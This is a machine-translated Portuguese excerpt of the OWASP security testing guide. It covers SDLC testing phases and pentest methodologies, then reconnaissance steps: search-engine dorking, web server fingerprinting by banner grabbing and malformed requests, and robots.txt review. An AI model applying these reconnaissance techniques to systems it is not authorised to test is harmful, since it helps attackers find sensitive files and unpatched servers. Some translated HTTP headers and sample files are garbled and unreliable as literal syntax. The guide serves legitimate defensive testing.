Esta estrutura de teste consiste em atividades que devem ocorrer:
Antes de começar o desenvolvimento,
Durante a definição e design,
Durante o desenvolvimento,
Durante a implantação e
Durante a manutenção e operações.
Fase 1 Antes do início do desenvolvimento

Fase 1.1 Definir um SDLC
Antes do início do desenvolvimento do aplicativo, um SDLC adequado deve ser definido onde a segurança é inerente a cada estágio.
Fase 1.2 Revisar Políticas e Padrões

Certifique-se de que existem políticas, padrões e documentação apropriados em vigor. A documentação é extremamente importante, pois fornece às equipes de
desenvolvimento diretrizes e políticas que podem ser seguidas. As pessoas só podem fazer a coisa certa
37
se eles sabem qual é a coisa certa.
Se o aplicativo for desenvolvido em Java, é essencial que haja um padrão de codificação seguro Java. Se a aplicação for usar criptografia, é essencial que exista um
padrão de criptografia. Nenhuma política ou padrão pode cobrir todas as situações que a equipe de desenvolvimento enfrentará. Ao documentar os problemas comuns
e previsíveis, haverá menos decisões a serem tomadas durante o processo de desenvolvimento.
Fase 1.3 Desenvolver critérios de medição e métricas e garantir a rastreabilidade

Antes do início do desenvolvimento, planeje o programa de medição. Ao definir os critérios que precisam ser medidos, ele fornece visibilidade dos defeitos tanto no
processo quanto no produto. É essencial definir as métricas antes de iniciar o desenvolvimento, pois pode haver a necessidade de modificar o processo para capturar
os dados.
Fase 2 Durante a Definição e Projeto Fase 2.1

Revisão dos Requisitos de Segurança
Os requisitos de segurança definem como um aplicativo funciona do ponto de vista da segurança. É essencial que os requisitos de segurança sejam testados. Testar,
neste caso, significa testar as suposições feitas nos requisitos e testar se há lacunas nas definições dos requisitos.
Por exemplo, se houver um requisito de segurança que determine que os usuários devem ser registrados antes de poderem acessar a seção de whitepapers de um
site, isso significa que o usuário deve ser registrado no sistema ou deve ser autenticado? Certifique-se de que os requisitos sejam tão inequívocos quanto possível.
Ao procurar por lacunas de requisitos, considere olhar para os mecanismos de segurança, como:
gerenciamento de usuários
Autenticação
Autorização
Confidencialidade dos dados
Integridade
Responsabilidade
Gerenciamento de sessão
segurança de transporte
Segregação do sistema em camadas
Conformidade com a legislação e com os padrões (incluindo privacidade, governo e padrões do setor)
Fase 2.2 Revisão do projeto e arquitetura

Os aplicativos devem ter um design e uma arquitetura documentados. Essa documentação pode incluir modelos, documentos textuais e outros artefatos semelhantes.
É essencial testar esses artefatos para garantir que o design e a arquitetura imponham o nível apropriado de segurança conforme definido nos requisitos.
A identificação de falhas de segurança na fase de design não é apenas um dos locais mais econômicos para identificar falhas, mas também um dos locais mais
eficazes para fazer alterações. Por exemplo, se for identificado que o projeto exige que as decisões de autorização sejam tomadas em vários locais, pode ser
apropriado considerar um componente de autorização central. Se o aplicativo estiver executando a validação de dados em vários locais, pode ser apropriado
desenvolver uma estrutura de validação central (ou seja, fixar a validação de entrada em um local, em vez de centenas de locais, é muito mais barato).
Se pontos fracos forem descobertos, eles devem ser fornecidos ao arquiteto do sistema para abordagens alternativas.
Fase 2.3 Criar e revisar modelos UML

Depois que o design e a arquitetura estiverem concluídos, crie modelos de linguagem de modelagem unificada (UML) que descrevam como o aplicativo funciona. Em
alguns casos, estes podem já estar disponíveis. Use esses modelos para confirmar com os projetistas de sistemas um entendimento exato de como o aplicativo
funciona. Se pontos fracos forem descobertos, eles devem ser fornecidos ao arquiteto do sistema para abordagens alternativas.
38
Fase 2.4 Criar e revisar modelos de ameaças
Armado com análises de design e arquitetura e modelos UML que explicam exatamente como o sistema funciona, faça um exercício de modelagem de
ameaças. Desenvolva cenários realistas de ameaças. Analise o design e a arquitetura para garantir que essas ameaças tenham sido mitigadas, aceitas pela
empresa ou atribuídas a terceiros, como uma seguradora. Quando as ameaças identificadas não tiverem estratégias de mitigação, revise o design e a
arquitetura com o arquiteto de sistemas para modificar o design.
Fase 3 durante o desenvolvimento

Teoricamente, o desenvolvimento é a implementação de um projeto. No entanto, no mundo real, muitas decisões de design são feitas durante o
desenvolvimento do código. Muitas vezes, são decisões menores que foram muito detalhadas para serem descritas no projeto ou questões em que nenhuma
política ou orientação padrão foi oferecida. Se o design e a arquitetura não forem adequados, o desenvolvedor se deparará com muitas decisões. Se houver
políticas e padrões insuficientes, o desenvolvedor enfrentará ainda mais decisões.
Passo a passo do código da Fase 3.1

A equipe de segurança deve realizar um passo a passo do código com os desenvolvedores e, em alguns casos, com os arquitetos do sistema. Uma explicação
passo a passo do código é uma visão de alto nível do código durante a qual os desenvolvedores podem explicar a lógica e o fluxo do código implementado.
Ele permite que a equipe de revisão de código obtenha uma compreensão geral do código e permite que os desenvolvedores expliquem por que certas coisas
foram desenvolvidas da maneira que foram.
O objetivo não é realizar uma revisão de código, mas entender em alto nível o fluxo, o layout e a estrutura do código que compõe a aplicação.
Fase 3.2 Revisões de código
Armado com um bom entendimento de como o código é estruturado e por que certas coisas foram codificadas da maneira que foram, o testador agora pode
examinar o código real em busca de defeitos de segurança.
As revisões de código estático validam o código em um conjunto de listas de verificação, incluindo:
Requisitos de negócios para disponibilidade, confidencialidade e integridade; Guia
OWASP ou Top 10 Checklists para exposições técnicas (dependendo da profundidade da revisão); Questões específicas
relacionadas à linguagem ou estrutura em uso, como o papel Scarlet para PHP ou as listas de verificação do Microsoft Secure Coding para ASP.NET; e
Quaisquer requisitos específicos do setor, como Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, diretrizes da Visa Merchant ou outros
regimes regulatórios.
Em termos de retorno sobre os recursos investidos (principalmente tempo), as revisões estáticas de código produzem retornos de qualidade muito mais alta
do que qualquer outro método de revisão de segurança e dependem menos da habilidade do revisor. No entanto, eles não são uma bala de prata e precisam
ser considerados cuidadosamente em um regime de teste de espectro total.
Para obter mais detalhes sobre as listas de verificação OWASP, consulte a última edição do OWASP Top 10.
Fase 4 durante a implantação Fase 4.1 Teste
de penetração do aplicativo
Depois de testar os requisitos, analisar o design e realizar a revisão do código, pode-se presumir que todos os problemas foram detectados. Esperançosamente,
este é o caso, mas o teste de penetração do aplicativo depois de implantado fornece uma verificação adicional para garantir que nada foi perdido.
Fase 4.2 Teste de gerenciamento de configuração O teste

de penetração do aplicativo deve incluir um exame de como a infraestrutura foi implantada e protegida. É importante revisar os
aspectos de configuração, não importa quão pequenos sejam, para garantir que nenhum seja deixado em uma configuração
padrão que possa ser vulnerável à exploração.
39
Fase 5 durante a manutenção e as operações Fase 5.1

Realizar análises de gerenciamento operacional É
necessário que haja um processo em vigor que detalhe como o lado operacional do aplicativo e da
infraestrutura é gerenciado.
Fase 5.2 Realizar verificações periódicas de integridade
Devem ser realizadas verificações de integridade mensais ou trimestrais no aplicativo e na infraestrutura para garantir que nenhum novo
risco de segurança tenha sido introduzido e que o nível de segurança ainda esteja intacto.
Fase 5.3 Garantir a verificação da mudança

Após cada mudança ter sido aprovada e testada no ambiente de controle de qualidade e implantada no ambiente de produção,
é vital que a mudança seja verificada para garantir que o nível de segurança não foi afetado pela mudança. Isso deve ser
integrado ao processo de gerenciamento de mudanças.
Um fluxo de trabalho de teste SDLC típico

A figura a seguir mostra um fluxo de trabalho de teste SDLC típico.
40
Figura 3-1: Fluxo de trabalho típico de teste SDLC

41
Metodologias de Teste de Penetração
Resumo
Guias de teste OWASP
Guia de teste de segurança da Web (WSTG)
Guia de teste de segurança móvel (MSTG)
Metodologia de teste de segurança de firmware
Padrão de Execução de Teste de Penetração
Guia de teste de penetração PCI

Orientação de teste de penetração PCI DSS
Requisitos de teste de penetração do PCI DSS
Estrutura de teste de penetração
Guia Técnico para Teste e Avaliação de Segurança da Informação
Manual de Metodologia de Teste de Segurança de Código Aberto

Referências
Guias de teste OWASP Em termos

de execução de testes técnicos de segurança, os guias de teste OWASP são altamente recomendados. Dependendo dos
tipos de aplicativos, os guias de teste estão listados abaixo para os serviços web/nuvem, aplicativo móvel (Android/iOS) ou
firmware IoT, respectivamente.
Guia de teste de segurança da Web OWASP
Guia de teste de segurança móvel OWASP
Metodologia de Teste de Segurança de Firmware OWASP
Padrão de Execução de Teste de Penetração

O Penetration Testing Execution Standard (PTES) define o teste de penetração como 7 fases. Particularmente, as Diretrizes Técnicas do PTES
fornecem sugestões práticas sobre procedimentos de teste e recomendações para ferramentas de teste de segurança.
Interações pré-engajamento
Coleta de informações
Análise de Vulnerabilidade
Exploração
Pós-exploração
Comunicando
Diretrizes Técnicas PTES
Guia de teste de penetração PCI

O requisito 11.3 do padrão de segurança de dados do setor de cartões de pagamento (PCI DSS) define o teste de penetração. PCI também define
Diretrizes de Teste de Penetração.

A diretriz de teste de penetração do PCI DSS fornece orientação sobre o seguinte:
Componentes de teste de penetração

42
Qualificações de um testador de penetração
Metodologias de Teste de Penetração
Diretrizes de relatórios de teste de penetração
Requisitos de teste de penetração do PCI DSS O requisito do PCI
DSS refere-se ao requisito 11.3 do padrão de segurança de dados do setor de cartões de pagamento (PCI DSS)
Com base em abordagens aceitas pelo setor
Cobertura para CDE e sistemas críticos
Inclui testes externos e internos
Teste para validar a redução do escopo
Teste de camada de aplicativo
Testes de camada de rede para rede e sistema operacional

O Penetration Testing Framework (PTF) fornece um guia prático abrangente de testes de penetração. Ele também lista os usos das ferramentas de
teste de segurança em cada categoria de teste. A principal área de teste de penetração inclui:
Pegada de Rede (Reconhecimento)
Descoberta e Sondagem
Enumeração
quebra de senha
Avaliação de vulnerabilidade
Auditoria AS/400
Teste específico do Bluetooth
Teste específico da Cisco
Teste Específico Citrix

Backbone de rede
Testes específicos do servidor
Segurança VoIP
Penetração sem fio
Segurança física
Relatório Final - modelo
Guia Técnico para Teste e Avaliação de Segurança da Informação O Guia Técnico para Teste e Avaliação de Segurança
da Informação (NIST 800-115) foi publicado pelo NIST e inclui algumas técnicas de avaliação listadas abaixo.
Técnicas de revisão
Técnicas de Identificação e Análise de Alvo
Técnicas de validação de vulnerabilidade de destino
Planejamento de avaliação de segurança
Execução da avaliação de segurança
Atividades pós-teste
O NIST 800-115 pode ser acessado aqui

43

O Manual de Metodologia de Teste de Segurança de Código Aberto (OSSTMM) é uma metodologia para testar a segurança operacional de locais físicos, fluxo de trabalho, teste
de segurança humana, teste de segurança física, teste de segurança sem fio, teste de segurança de telecomunicações, teste de segurança de redes de dados e conformidade.
O OSSTMM pode ser uma referência de suporte da ISO 27001 em vez de um guia de teste de penetração de aplicativo prático ou técnico.
OSSTMM inclui as seguintes seções principais:
Análise de segurança
Métricas de segurança operacional
Análise de confiança
Fluxo de Trabalho
Teste de segurança humana
Teste de segurança física
Teste de segurança sem fio
Teste de segurança de telecomunicações
Teste de segurança de redes de dados
Regulamentos de Conformidade
Reportando com o STAR (Relatório de Auditoria de Teste de Segurança)
Referências
Padrão de segurança de dados PCI - Orientação de teste de penetração
Padrão PTES
Manual de Metodologia de Teste de Segurança de Código Aberto (OSSTMM)
Guia Técnico para Teste e Avaliação de Segurança da Informação NIST SP 800-115
HIPAA Security Testing Assessment 2012 Penetration
Testing Framework 0.59 OWASP Mobile Security Testing
Guide
Diretrizes de teste de segurança para aplicativos móveis
Kali LinuxGenericName
Suplemento de Informação: Requisito 11.3 Teste de Penetração

44
Teste de segurança de aplicativos da Web
4.1 Coleta de Informações
4.5 Teste de Autorização
4.7 Teste de Validação de Entrada
4.8 Teste para Tratamento de Erros
4.9 Teste para criptografia fraca
4.10 Teste de lógica de negócios
4.11 Teste do lado do cliente

45
Esta seção descreve a metodologia de teste de segurança de aplicativos da Web OWASP e explica como testar evidências de vulnerabilidades no
aplicativo devido a deficiências nos controles de segurança identificados.
O que é o teste de segurança de aplicativos da Web?

Um teste de segurança é um método de avaliação da segurança de um sistema de computador ou rede, validando e verificando metodicamente a
eficácia dos controles de segurança do aplicativo. Um teste de segurança de aplicativo da web se concentra apenas na avaliação da segurança de
um aplicativo da web. O processo envolve uma análise ativa do aplicativo em busca de quaisquer pontos fracos, falhas técnicas ou vulnerabilidades.
Quaisquer problemas de segurança encontrados serão apresentados ao proprietário do sistema, juntamente com uma avaliação do impacto, uma
proposta de mitigação ou uma solução técnica.
O que é uma Vulnerabilidade?

Uma vulnerabilidade é uma falha ou fraqueza no projeto, implementação, operação ou gerenciamento de um sistema que pode ser explorada para
comprometer os objetivos de segurança do sistema.
O que é uma Ameaça?

Uma ameaça é qualquer coisa (um invasor externo mal-intencionado, um usuário interno, uma instabilidade do sistema etc.) vulnerabilidade.
O que é um Teste?
Um teste é uma ação para demonstrar que um aplicativo atende aos requisitos de segurança de seus stakeholders.
A Abordagem ao Escrever este Guia

A abordagem OWASP é aberta e colaborativa:
Aberto: todo especialista em segurança pode participar com sua experiência no projeto. Tudo é gratuito.
Colaborativo: o brainstorming é feito antes da redação dos artigos para que a equipe possa compartilhar ideias e desenvolver uma visão
coletiva do projeto. Isso significa um consenso aproximado, um público mais amplo e maior participação.
Essa abordagem tende a criar uma Metodologia de Teste definida que será:
Consistente
Reprodutível
Rigoroso
sob controle de qualidade
Os problemas a serem resolvidos são totalmente documentados e testados. É importante usar um método para testar todas as vulnerabilidades
conhecidas e documentar todas as atividades de teste de segurança.
O que é a metodologia de teste OWASP?

O teste de segurança nunca será uma ciência exata onde uma lista completa de todos os possíveis problemas que devem ser testados pode ser
definida. De fato, o teste de segurança é apenas uma técnica apropriada para testar a segurança de aplicativos da Web em determinadas
circunstâncias. O objetivo deste projeto é coletar todas as técnicas de teste possíveis, explicar essas técnicas e manter o guia atualizado. O método
OWASP Web Application Security Testing é baseado na abordagem de caixa preta. O testador não sabe nada ou tem muito pouca informação sobre
a aplicação a ser testada.
O modelo de teste consiste em:

46
Testador: Quem executa as atividades de teste
Ferramentas e metodologia: o núcleo deste projeto de guia de teste
Aplicação: A caixa preta para testar
O teste pode ser categorizado como passivo ou ativo:
Teste passivo
Durante o teste passivo, um testador tenta entender a lógica do aplicativo e explora o aplicativo como um usuário. Ferramentas podem ser usadas para coleta
de informações. Por exemplo, um proxy HTTP pode ser usado para observar todas as solicitações e respostas HTTP. No final desta fase, o testador geralmente
deve entender todos os pontos de acesso e funcionalidade do sistema (por exemplo, cabeçalhos HTTP, parâmetros, cookies, APIs, uso/padrões de tecnologia,
etc). A seção Coleta de informações explica como realizar testes passivos.
Por exemplo, um testador pode encontrar uma página no seguinte URL: https://www.example.com/login/auth_form
Isso pode indicar um formulário de autenticação em que o aplicativo solicita um nome de usuário e uma senha.
Os seguintes parâmetros representam dois pontos de acesso ao aplicativo: https://www.example.com/appx?a=1&b=1
Neste caso, o aplicativo mostra dois pontos de acesso (parâmetros a e b ). Todos os pontos de entrada encontrados nesta fase representam um alvo para
teste. Manter o controle do diretório ou da árvore de chamadas do aplicativo e de todos os pontos de acesso pode ser útil durante o teste ativo.
Teste ativo Durante o
teste ativo, um testador começa a usar as metodologias descritas nas seções a seguir.
O conjunto de testes ativos foi dividido em 12 categorias:
Obtendo informações
Teste de gerenciamento de configuração e implantação
Teste de gerenciamento de identidade
Teste de Autenticação
Teste de autorização
Teste de Gerenciamento de Sessão
Teste de validação de entrada
Manipulação de erros
Criptografia
Teste de lógica de negócios
Teste do lado do cliente
Teste de API
47
4.1 Coleta de Informações
4.1.1 Realizar reconhecimento de descoberta de mecanismo de pesquisa para vazamento de informações
4.1.2 Servidor Web de impressão digital
4.1.3 Revisão dos metarquivos do servidor Web quanto a vazamento de informações
4.1.4 Enumerar Aplicações no Servidor Web
4.1.5 Revisão do conteúdo da página da Web quanto a vazamento de informações
4.1.6 Identificar os pontos de entrada do aplicativo
4.1.7 Mapear Caminhos de Execução Através do Aplicativo
4.1.8 Estrutura de aplicativo da Web de impressão digital
4.1.9 Aplicação Web de impressão digital
4.1.10 Arquitetura do Aplicativo de Mapa

48
Realizar reconhecimento de descoberta de mecanismo de pesquisa para

Vazamento de informação
EU IRIA
WSTG-INFO-01
Resumo
Para que os mecanismos de pesquisa funcionem, os programas de computador (ou robôs ) buscam dados regularmente (chamados de rastreamento de bilhões de
páginas na web. Esses programas encontram o conteúdo e a funcionalidade da Web seguindo os links de outras páginas ou observando os mapas do site. Se um site
usa um arquivo especial chamado robots.txt para listar as páginas que não deseja que os mecanismos de pesquisa busquem, as páginas listadas ali serão ignoradas.
Esta é uma visão geral básica - o Google oferece uma explicação mais detalhada de como funciona um mecanismo de pesquisa.
Os testadores podem usar mecanismos de pesquisa para realizar reconhecimento em sites e aplicativos da web. Existem elementos diretos e indiretos para a
descoberta e reconhecimento do mecanismo de pesquisa: os métodos diretos se relacionam com a pesquisa de índices e o conteúdo associado dos caches, enquanto
os métodos indiretos se relacionam com o aprendizado de design sensível e informações de configuração pesquisando fóruns, grupos de notícias e sites de licitação.
Depois que um robô de mecanismo de pesquisa conclui o rastreamento, ele começa a indexar o conteúdo da Web com base em tags e atributos associados, como
<TITLE> , para retornar resultados de pesquisa relevantes. Se o arquivo robots.txt não for atualizado durante o tempo
de vida do site e não tiverem sido usadas metatags HTML in-line que instruem os robôs a não indexar conteúdo, é possível que os índices contenham conteúdo da
Web não destinado a ser incluídos pelos proprietários. Os proprietários de sites podem usar as meta tags HTML robots.txt mencionadas anteriormente , autenticação e
, conteúdo.
ferramentas fornecidas pelos mecanismos de pesquisa para remover esse
Objetivos do teste
Identifique quais informações confidenciais de design e configuração do aplicativo, sistema ou organização são expostas diretamente (no site da organização) ou
indiretamente (por meio de serviços de terceiros).
Como testar
Use um mecanismo de pesquisa para procurar informações potencialmente confidenciais. Isso pode incluir:
diagramas e configurações de rede;
postagens e e-mails arquivados por administradores ou outros funcionários importantes;
procedimentos de logon e formatos de nome de usuário;
nomes de usuário, senhas e chaves privadas;
arquivos de configuração de serviço de nuvem ou de terceiros;
revelando o conteúdo da mensagem de erro; e
desenvolvimento, teste, teste de aceitação do usuário (UAT) e versões de teste de sites.
Mecanismos de pesquisa
Não limite o teste a apenas um provedor de mecanismo de pesquisa, pois diferentes mecanismos de pesquisa podem gerar resultados diferentes.
Os resultados do mecanismo de pesquisa podem variar de algumas maneiras, dependendo de quando o mecanismo rastreou o conteúdo pela última vez e do algoritmo
que o mecanismo usa para determinar as páginas relevantes. Considere usar os seguintes mecanismos de pesquisa (listados em ordem alfabética):
Baidu, mais populares da China motor de pesquisa.
Bing, um mecanismo de pesquisa de propriedade e operado pela Microsoft, e o segundo mais popular no mundo todo. Suporta palavras-chave de pesquisa
avançada.
49
binsearch.info, um mecanismo de busca para grupos de notícias binários da Usenet.
Rastreamento Comum, “um repositório aberto de dados de rastreamento da web que pode ser acessado e analisado por qualquer pessoa.”
DuckDuckGo, um mecanismo de pesquisa com foco na privacidade que compila resultados de várias fontes diferentes. Suporta sintaxe de pesquisa .
Google, que oferece o mais popular do mundo mecanismo de pesquisa e usa um sistema de classificação para tentar retornar os resultados mais
relevantes. Suporta operadores de pesquisa.
Internet Archive Wayback Machine, “construir uma biblioteca digital de sites da Internet e outros artefatos culturais em formato digital”.
Página inicial, um mecanismo de pesquisa que usa os resultados do Google sem coletar informações pessoais por meio de rastreadores e logs.
Suporta operadores de pesquisa.
Shodan, um serviço para pesquisar dispositivos e serviços conectados à Internet. As opções de uso incluem um plano gratuito limitado, bem como
planos de assinatura pagos.
Tanto o DuckDuckGo quanto o Startpage oferecem maior privacidade aos usuários, não utilizando rastreadores ou mantendo registros. Isso pode reduzir
o vazamento de informações sobre o testador.
Operadores de pesquisa
Um operador de pesquisa é uma palavra-chave ou sintaxe especial que estende os recursos de consultas de pesquisa regulares e pode ajudar a obter
resultados mais específicos. Eles geralmente assumem a forma de operator:query . Aqui estão alguns operadores de pesquisa comumente suportados:
site: limitará a pesquisa ao domínio fornecido.
inurl: retornará apenas resultados que incluam a palavra-chave na URL.
intitle: retornará apenas resultados que tenham a palavra-chave no título da página.
intext: ou inbody: pesquisará apenas a palavra-chave no corpo das páginas. filetype:
corresponderá apenas a um tipo de arquivo específico, ou seja, png ou php.
Por exemplo, para encontrar o conteúdo da web de owasp.org conforme indexado por um mecanismo de pesquisa típico, a sintaxe necessária é:
site:owasp.org
50
Figura 4.1.1-1: Exemplo de resultado de pesquisa de operação de site do Google
Exibindo conteúdo em cache Para
pesquisar conteúdo que foi indexado anteriormente, use o cache: operador. Isso é útil para visualizar o conteúdo que pode ter mudado desde o momento em que foi
indexado ou que pode não estar mais disponível. Nem todos os mecanismos de pesquisa fornecem conteúdo em cache para pesquisa; a fonte mais útil no momento em
que escrevo é o Google.
Para visualizar owasp.org como é armazenado em cache, a sintaxe é:
cache:owasp.org
Figura 4.1.1-2: Exemplo de resultado de pesquisa da operação de cache do Google
Google Hacking, ou Dorking

A pesquisa com operadores pode ser uma técnica de descoberta muito eficaz quando combinada com a criatividade do testador.
Os operadores podem ser encadeados para descobrir com eficácia tipos específicos de arquivos e informações confidenciais. Essa técnica, chamada de hacking do
Google ou Dorking, também é possível usando outros mecanismos de pesquisa, desde que os operadores de pesquisa sejam suportados.
Um banco de dados de idiotas, como o Google Hacking Database, é um recurso útil que pode ajudar a descobrir informações específicas. Algumas categorias de idiotas
disponíveis neste banco de dados incluem:
pontos de apoio
Arquivos contendo nomes de usuários
Diretórios confidenciais
Detecção de Servidor Web
Arquivos Vulneráveis
Servidores Vulneráveis
Mensagens de erro
Arquivos contendo informações suculentas
Arquivos contendo senhas
Informações confidenciais sobre compras on-line

51
Bancos de dados para outros mecanismos de busca, como Bing e Shodan, estão disponíveis em recursos como o Projeto Hacking Diggity do Bishop
Fox.
Remediação
Considere cuidadosamente a confidencialidade das informações de design e configuração antes de serem publicadas online.
Revise periodicamente a confidencialidade das informações existentes de design e configuração publicadas online.
52
Servidor de impressão digital
EU IRIA
WSTG-INFO-02
Resumo
A impressão digital do servidor da Web é a tarefa de identificar o tipo e a versão do servidor da Web em que um destino está sendo executado. Embora a
impressão digital do servidor da Web geralmente seja encapsulada em ferramentas de teste automatizadas, é importante que os pesquisadores entendam
os fundamentos de como essas ferramentas tentam identificar o software e por que isso é útil.
Descobrir com precisão o tipo de servidor da Web no qual um aplicativo é executado pode permitir que os testadores de segurança determinem se o
aplicativo é vulnerável a ataques. Em particular, os servidores que executam versões mais antigas de software sem patches de segurança atualizados
podem ser suscetíveis a explorações específicas de versões conhecidas.
Objetivos do teste
Determine a versão e o tipo de um servidor da Web em execução para permitir a descoberta adicional de quaisquer vulnerabilidades conhecidas.
Como testar
As técnicas usadas para impressão digital do servidor da Web incluem captura de banner, obter respostas a solicitações malformadas e usar ferramentas
automatizadas para realizar varreduras mais robustas que usam uma combinação de táticas. A premissa fundamental pela qual todas essas técnicas
operam é a mesma. Todos eles se esforçam para obter alguma resposta do servidor da Web que pode ser comparada a um banco de dados de respostas
e comportamentos conhecidos e, portanto, correspondida a um tipo de servidor conhecido.
Captura de banner Uma
captura de banner é executada enviando uma solicitação HTTP para o servidor da Web e examinando seu cabeçalho de resposta. Isso pode ser feito
usando uma variedade de ferramentas, incluindo telnet para solicitações HTTP ou openssl para solicitações por SSL.
Por exemplo, aqui está a resposta a uma solicitação de um servidor Apache.
HTTP/1.1 200 OK
Data: quinta-feira, 05 de setembro de 2019
17:42:39 GMT Servidor: Apache/2.4.41 (Unix)
Última modificação: quinta-feira, 05 de setembro de 2019 17:40:42 GMT
ETag: "75-591d1d21b6167"
Accept-Ranges: bytes
Content-Length: 117
Connection: close
Tipo de conteúdo: texto/html
...
Aqui está outra resposta, desta vez do nginx.
HTTP/1.1 200 OK
Servidor: nginx/1.17.3 Data:
quinta-feira, 05 de setembro de 2019 17:50:24 GMT Tipo
de conteúdo: text/html Comprimento do conteúdo: 117
Última modificação: quinta-feira, 05 de setembro de 2019
17:40:42 GMT Conexão: fechar
Marca ET: "5d71489a-75"

53
Faixas de aceitação: bytes

...
Aqui está a aparência de uma resposta do lighttpd.
HTTP/1.0 200 OK
Faixas de aceitação: bytes
Marca ET : "4192788355"
Última modificação: quinta-feira, 05 de setembro de 2019 17:40:42 GMT
Comprimento do conteúdo: 117
Conexão: fechar
Data: quinta-feira, 05 de setembro de 2019 17:57:57
GMT Servidor: lighttpd/1.4.54
Nesses exemplos, o tipo e a versão do servidor são claramente expostos. No entanto, aplicativos preocupados com a segurança podem ofuscar as
informações do servidor modificando o cabeçalho. Por exemplo, aqui está um trecho da resposta a uma solicitação de um site com um cabeçalho modificado:
HTTP/1.1 200 OK
Servidor: Site.com
Data: quinta-feira, 05 de setembro de 2019 17:57:06 GMT
Tipo de conteúdo: texto/html; conjunto de caracteres = utf-8
Estado: 200 OK
...
Nos casos em que as informações do servidor são obscurecidas, os testadores podem adivinhar o tipo de servidor com base na ordem dos campos de
cabeçalho. Observe que no exemplo do Apache acima, os campos seguem esta ordem:
Encontro
Servidor
Última modificação
ETag
Faixas de aceitação
Comprimento do conteúdo
Conexão
Tipo de conteúdo
No entanto, nos exemplos de servidor nginx e obscurecido, os campos em comum seguem esta ordem:
Servidor
Encontro
Tipo de conteúdo
Os testadores podem usar essas informações para adivinhar que o servidor obscuro é nginx. No entanto, considerando que vários servidores web diferentes
podem compartilhar a mesma ordem de campo e os campos podem ser modificados ou removidos, esse método não é
definido.
Envio de solicitações malformadas Os
servidores da Web podem ser identificados examinando suas respostas de erro e, nos casos em que não foram personalizados, suas páginas de erro
padrão. Uma maneira de obrigar um servidor a apresentá-los é enviando solicitações intencionalmente incorretas ou malformadas.
54
Por exemplo, aqui está a resposta a uma solicitação do método inexistente SANTA CLAUS de um servidor Apache.
GET / PAPAI NOEL/1.1
HTTP/1.1 400 Bad Request

Data: sex, 06 set 2019 19:21:01 GMT Servidor:
Apache/2.4.41 (Unix)
Comprimento do conteúdo:
226 Conexão: fechar
Tipo de conteúdo: texto/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>
<title>400 Solicitação inválida</title> </
head><body> <h1>Solicitação inválida</
h1> <p>Seu navegador enviou uma
solicitação que este servidor não conseguiu entender.<br /> </p> < /corpo></html>
Aqui está a resposta para a mesma solicitação do nginx.
<html>
<head><title>404 não encontrado</title></head>
<body>
<center><h1>404 não encontrado</h1></center>
<hr><center>nginx/1.17.3</center> </body>
</html>
Aqui está a resposta para a mesma solicitação de lighttpd.
HTTP/1.0 400 Solicitação

inválida Tipo de conteúdo: text/
html Comprimento do conteúdo:
345 Conexão: fechar
Data: Dom, 08 de setembro de 2019 21:56:17
GMT Servidor: lighttpd/1.4.54
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE

html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://
www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<cabeça>
<title>400 Pedido inválido</title> </head>
<body>
<h1>400 Pedido inválido</h1> </
body> </html>
Como as páginas de erro padrão oferecem muitos fatores diferenciadores entre os tipos de servidores da Web, seu exame pode ser um método
eficaz para impressões digitais, mesmo quando os campos de cabeçalho do servidor estão obscurecidos.
55
Usando ferramentas automatizadas de verificação
Conforme declarado anteriormente, a impressão digital do servidor da Web é frequentemente incluída como uma funcionalidade das ferramentas automatizadas de
verificação. Essas ferramentas são capazes de fazer requisições semelhantes às demonstradas acima, bem como enviar outras sondagens mais específicas do servidor.
As ferramentas automatizadas podem comparar as respostas dos servidores da Web com muito mais rapidez do que o teste manual e utilizar grandes bancos de dados de
respostas conhecidas para tentar a identificação do servidor. Por esses motivos, as ferramentas automatizadas têm maior probabilidade de produzir resultados precisos.
Aqui estão algumas ferramentas de verificação comumente usadas que incluem a funcionalidade de impressão digital do servidor da web.
Netcraft, uma ferramenta online que verifica sites em busca de informações, incluindo o servidor da web.
Nikto, uma ferramenta de varredura de linha de comando de código aberto.
Nmap, uma ferramenta de linha de comando de código aberto que também possui uma GUI, Zenmap.
Remediação
Embora as informações do servidor expostas não sejam necessariamente uma vulnerabilidade em si, são informações que podem ajudar os invasores a explorar outras
vulnerabilidades que possam existir. As informações do servidor expostas também podem levar os invasores a encontrar vulnerabilidades de servidor específicas da versão que
podem ser usadas para explorar servidores não corrigidos. Por esse motivo, recomenda-se que alguns cuidados sejam tomados. Essas ações incluem:
Ocultar informações do servidor da Web em cabeçalhos, como no módulo mod_headers do Apache.
Usando um servidor proxy reverso reforçado para criar uma camada adicional de segurança entre o servidor web e o
Internet.
Garantir que os servidores da Web sejam mantidos atualizados com os softwares e patches de segurança mais recentes.
56
Revise os metarquivos do servidor Web quanto a vazamento de informações
EU IRIA
WSTG-INFO-03
Resumo
Esta seção descreve como testar vários arquivos de metadados quanto ao vazamento de informações do(s) caminho(s) ou funcionalidade
do aplicativo da web. Além disso, a lista de diretórios que devem ser evitados por Spiders, Robots ou Crawlers também pode ser criada
como uma dependência para os caminhos de execução do Map através do aplicativo. Outras informações também podem ser coletadas
para identificar a superfície de ataque, detalhes de tecnologia ou para uso em engajamento de engenharia social.
Objetivos do teste
Identifique caminhos e funcionalidades ocultos ou ofuscados por meio da análise de arquivos de metadados.
Extraia e mapeie outras informações que possam levar a uma melhor compreensão dos sistemas em questão.
Como testar
Qualquer uma das ações executadas abaixo com wget também pode ser feita com curl . Muitas ferramentas DAST (Dynamic
Application Security Testing), como ZAP e Burp Suite, incluem verificações ou análises desses recursos como parte de sua
funcionalidade spider/crawler. Eles também podem ser identificados usando vários Google Dorks ou aproveitando os recursos de
pesquisa avançada, como inurl: .
robôs
Aranhas da Web, robôs ou rastreadores recuperam uma página da Web e, em seguida, percorrem hiperlinks recursivamente para recuperar
mais conteúdo da Web. Seu comportamento aceito é especificado pelo Protocolo de Exclusão de Robôs do robots.txt arquivo no diretório
raiz da web.
Como exemplo, o início do arquivo robots.txt do Google amostrado em 5 de maio de 2020 é citado abaixo:
*
Agente de usuário:
Não permitir: /search
Permitir: /pesquisa/sobre
Permitir: /search/static
Permitir: /search/howsearchworks
Não permitir: /sdch
...
